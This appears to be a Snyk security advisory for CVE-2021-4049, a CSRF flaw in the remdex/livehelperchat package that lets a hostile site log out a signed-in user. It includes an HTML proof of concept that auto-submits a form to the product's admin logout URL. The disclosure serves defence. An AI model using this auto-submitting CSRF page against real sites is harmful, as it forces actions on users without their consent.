Cross-site Request Forgery (CSRF) Affecting remdex/livehelperchat package, versions >=0.0.0


Severity

Recommended
0.0
medium
0
10

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Threat Intelligence

EPSS
0.09% (41st percentile)

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  • Snyk IDSNYK-PHP-REMDEXLIVEHELPERCHAT-2311793
  • published7 Dec 2021
  • disclosed7 Dec 2021
  • creditChau Minh Khanh

Introduced: 7 Dec 2021

CVE-2021-4049  (opens in a new tab)
CWE-352  (opens in a new tab)

How to fix?

A fix was pushed into the master branch but not yet published.

Overview

remdex/livehelperchat is a package that offers live support for your website. Featuring web and desktop clients. Compatible Windows, Linux, Mac. Desktop client powered by QT. Supports mobile phones based on XMPP service providers (GTalk, Xabber, Mono etc.)

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF). By using a forged logout URL, an attacker is able to log out a user if a logged-in user visits the attacker's website.

###POC:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://demo.livehelperchat.com/site_admin/user/logout">
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

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